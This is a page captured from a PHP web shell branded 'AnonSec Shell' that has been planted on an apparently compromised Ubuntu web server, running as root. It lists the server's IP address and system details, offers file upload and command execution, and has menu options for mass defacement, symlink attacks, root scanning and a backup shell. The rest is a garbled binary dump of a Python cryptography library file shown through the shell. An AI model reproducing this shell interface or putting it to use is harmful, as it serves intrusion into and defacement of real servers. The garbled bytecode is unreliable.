AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/ec.cpython-310.pyc
o

�)%a;4�@s�ddlmZddlmZmZmZddlmZmZm	Z	ddl
mZmZddl
mZmZmZdejfdd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�ZGdd�de�ZGdd�de�ZGdd�dej�ZGdd�dej�ZdS)�)�utils)�InvalidSignature�UnsupportedAlgorithm�_Reasons)�_calculate_digest_and_algorithm�_check_not_prehashed�_warn_sign_verify_deprecated)�hashes�
serialization)�AsymmetricSignatureContext�AsymmetricVerificationContext�ec�signature_algorithmcCst|tj�stdtj��dS)Nz/Unsupported elliptic curve signature algorithm.)�
isinstancer
�ECDSArr� UNSUPPORTED_PUBLIC_KEY_ALGORITHM)r�r�I/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/ec.py�_check_signature_algorithms��rcCs�|j�|�}|�||jjk�|j�|�}||jjkrtd��|jjs/|j�	|�dkr/td��|j�
|�}|�||jjk�|j�|��d�}|S)Nz;ECDSA keys with unnamed curves are unsupported at this timer�ascii)
�_lib�EC_KEY_get0_group�openssl_assert�_ffi�NULL�EC_GROUP_get_curve_name�	NID_undef�NotImplementedError�CRYPTOGRAPHY_IS_LIBRESSL�EC_GROUP_get_asn1_flag�
OBJ_nid2sn�string�decode)�backend�ec_key�group�nid�
curve_name�snrrr�_ec_key_curve_sn#s$����r)cCs|j�||jj�dS)z�
    Set the named curve flag on the EC_KEY. This causes OpenSSL to
    serialize EC keys along with their curve OID which makes
    deserialization easier.
    N)r�EC_KEY_set_asn1_flag�OPENSSL_EC_NAMED_CURVE)r#�ec_cdatarrr�_mark_asn1_named_ec_curveAs�r-cCs0ztj|�WStytd�|�tj��w)Nz${} is not a supported elliptic curve)r
�_CURVE_TYPES�KeyErrorr�formatr�UNSUPPORTED_ELLIPTIC_CURVE)r#r(rrr�_sn_to_elliptic_curveMs��r2cCsz|j�|j�}|�|dk�|j�d|�}|j�dd�}|j�d|t|�|||j�}|�|dk�|j�|�d|d�S)Nrzunsigned char[]zunsigned int[]�)	r�
ECDSA_size�_ec_keyrr�new�
ECDSA_sign�len�buffer)r#�private_key�data�max_size�sigbuf�
siglen_ptr�resrrr�_ecdsa_sig_signWs�r@cCs8|j�d|t|�|t|�|j�}|dkr|��t�dS)Nrr3)r�ECDSA_verifyr8r5�_consume_errorsr)r#�
public_key�	signaturer;r?rrr�_ecdsa_sig_verifyds��rEc@sBeZdZdejdejfdd�Zdeddfdd	�Z	defd
d�Z
dS)�_ECDSASignatureContextr:�	algorithmcCs||_||_t�||�|_dS�N)�_backend�_private_keyr	�Hash�_digest)�selfr#r:rGrrr�__init__nsz_ECDSASignatureContext.__init__r;�returnNcC�|j�|�dSrH�rL�update�rMr;rrrrRx�z_ECDSASignatureContext.updatecCs|j��}t|j|j|�SrH)rL�finalizer@rIrJ�rM�digestrrrrU{s
z_ECDSASignatureContext.finalize)�__name__�
__module__�__qualname__r
�EllipticCurvePrivateKeyr	�
HashAlgorithmrN�bytesrRrUrrrrrFms�
�
rFc@sBeZdZdejdedejfdd�Zdeddfd	d
�Z	d
dd�Z
dS)�_ECDSAVerificationContextrCrDrGcCs$||_||_||_t�||�|_dSrH)rI�_public_key�
_signaturer	rKrL)rMr#rCrDrGrrrrN�sz"_ECDSAVerificationContext.__init__r;rONcCrPrHrQrSrrrrR�rTz _ECDSAVerificationContext.updatecCs"|j��}t|j|j|j|�dSrH)rLrUrErIr_r`rVrrr�verify�s
�z _ECDSAVerificationContext.verify)rON)rXrYrZr
�EllipticCurvePublicKeyr]r	r\rNrRrarrrrr^�s��
�r^c@s�eZdZdd�Ze�d�Zedefdd��Z	de
jdefdd	�Z
d
e
jde
jdefdd
�Zde
jfdd�Zde
jfdd�Zdejdejdejdefdd�Zdede
jdefdd�ZdS)�_EllipticCurvePrivateKeycC�6||_||_||_t||�}t||�|_t||�dSrH�rIr5�	_evp_pkeyr)r2�_curver-�rMr#�ec_key_cdata�evp_pkeyr(rrrrN��
z!_EllipticCurvePrivateKey.__init__rgrOcC�|jjSrH��curve�key_size�rMrrrro��z!_EllipticCurvePrivateKey.key_sizercCs:t�t|�t|j�t|jtj�sJ�t|j||j�SrH)	rrrrGrr	r\rFrI)rMrrrr�signer�s

�z_EllipticCurvePrivateKey.signerrG�peer_public_keycCs�|j�||j�stdtj��|jj|jjkrtd��|jj�	|j
�}|jj�|�dd}|j�|dk�|jj
�d|�}|jj�|j
�}|jj�||||j
|jj
j�}|j�|dk�|jj
�|�d|�S)Nz1This backend does not support the ECDH algorithm.z2peer_public_key and self are not on the same curve��rz	uint8_t[])rI�+elliptic_curve_exchange_algorithm_supportedrnrr�UNSUPPORTED_EXCHANGE_ALGORITHM�name�
ValueErrorrrr5�EC_GROUP_get_degreerrr6�EC_KEY_get0_public_key�ECDH_compute_keyrr9)rMrGrsr%�z_len�z_buf�peer_key�rrrr�exchange�s0������z!_EllipticCurvePrivateKey.exchangecCs�|jj�|j�}|j�||jjjk�|jj�|�}|j�|�}|jj�	|j�}|j�||jjjk�|jj�
||�}|j�|dk�|j�|�}t|j||�S)Nr3)
rIrrr5rrrr�_ec_key_new_by_curve_nidr{�EC_KEY_set_public_key�_ec_cdata_to_evp_pkey�_EllipticCurvePublicKey)rMr%�	curve_nid�
public_ec_key�pointr?rjrrrrC�sz#_EllipticCurvePrivateKey.public_keycCs2|jj�|j�}|j�|�}tj||����d�S)N)�
private_value�public_numbers)	rIr�EC_KEY_get0_private_keyr5�
_bn_to_intr
�EllipticCurvePrivateNumbersrCr�)rM�bnr�rrr�private_numbers�s
�z(_EllipticCurvePrivateKey.private_numbers�encodingr0�encryption_algorithmcCs|j�|||||j|j�SrH)rI�_private_key_bytesrfr5)rMr�r0r�rrr�
private_bytes�s�z&_EllipticCurvePrivateKey.private_bytesr;cCs*t|�t|j||j�\}}t|j||�SrH)rrrI�
_algorithmr@)rMr;rrGrrr�sign�s�z_EllipticCurvePrivateKey.signN)rXrYrZrNr�read_only_propertyrn�property�intror
�EllipticCurveSignatureAlgorithmrrr�ECDHrbr]r�rCr�r�r
�Encoding�
PrivateFormat�KeySerializationEncryptionr�r�rrrrrc�sF
	�
���
� ���
����rcc@s�eZdZdd�Ze�d�Zedefdd��Z	de
dejde
fd	d
�Zdejfdd�Zd
ejde
fdd�Zdejd
ejde
fdd�Zde
de
dejddfdd�ZdS)r�cCrdrHrerhrrrrNrkz _EllipticCurvePublicKey.__init__rgrOcCrlrHrmrprrrrorqz _EllipticCurvePublicKey.key_sizerDrcCsHt�t�d|�t|�t|j�t|jtj�sJ�t	|j
|||j�S)NrD)rr�_check_bytesrrrGrr	r\r^rI)rMrDrrrr�verifiers
�z _EllipticCurvePublicKey.verifierc
Cs�|j�|j�\}}|jj�|j�}|j�||jjjk�|j���2}|jj�	|�}|jj�	|�}||||||�}|j�|dk�|j�
|�}|j�
|�}	Wd�n1sVwYtj||	|j
d�S)Nr3)�x�yrn)rI� _ec_key_determine_group_get_funcr5rr{rrr�_tmp_bn_ctx�
BN_CTX_getr�r
�EllipticCurvePublicNumbersrg)
rM�get_funcr%r��bn_ctx�bn_x�bn_yr?r�r�rrrr�*s��
z&_EllipticCurvePublicKey.public_numbersr0c		Cs$|tjjur|jjj}n
|tjjusJ�|jjj}|jj�|j	�}|j�
||jjjk�|jj�
|j	�}|j�
||jjjk�|j���;}|jj�||||jjjd|�}|j�
|dk�|jj�d|�}|jj�||||||�}|j�
||k�Wd�n1s�wY|jj�|�dd�S)Nrzchar[])r
�PublicFormat�CompressedPointrIr�POINT_CONVERSION_COMPRESSED�UncompressedPoint�POINT_CONVERSION_UNCOMPRESSEDrr5rrrr{r��EC_POINT_point2octr6r9)	rMr0�
conversionr%r�r��buflen�bufr?rrr�
_encode_point=s(
���z%_EllipticCurvePublicKey._encode_pointr�cCsl|tjjus|tjjus|tjjur+|tjjus"|tjjtjjfvr&td��|�|�S|j�	||||j
d�S)NzKX962 encoding must be used with CompressedPoint or UncompressedPoint format)r
r��X962r�r�r�ryr�rI�_public_key_bytesrf)rMr�r0rrr�public_bytesUs"
�
�
���
�z$_EllipticCurvePublicKey.public_bytesr;NcCs0t|�t|j||j�\}}t|j|||�dSrH)rrrIr�rE)rMrDr;rrGrrrrans�z_EllipticCurvePublicKey.verify)rXrYrZrNrr�rnr�r�ror]r
r�rr�r�r�r
r�r�r�r�rarrrrr�
s<
	��
���
�����r�N)�cryptographyr�cryptography.exceptionsrrr�*cryptography.hazmat.backends.openssl.utilsrrr�cryptography.hazmat.primitivesr	r
�)cryptography.hazmat.primitives.asymmetricrrr
r�rr)r-r2r@rErFr^r[rcrbr�rrrr�<module>s"
�


	r

Anon7 - 2022
AnonSec Team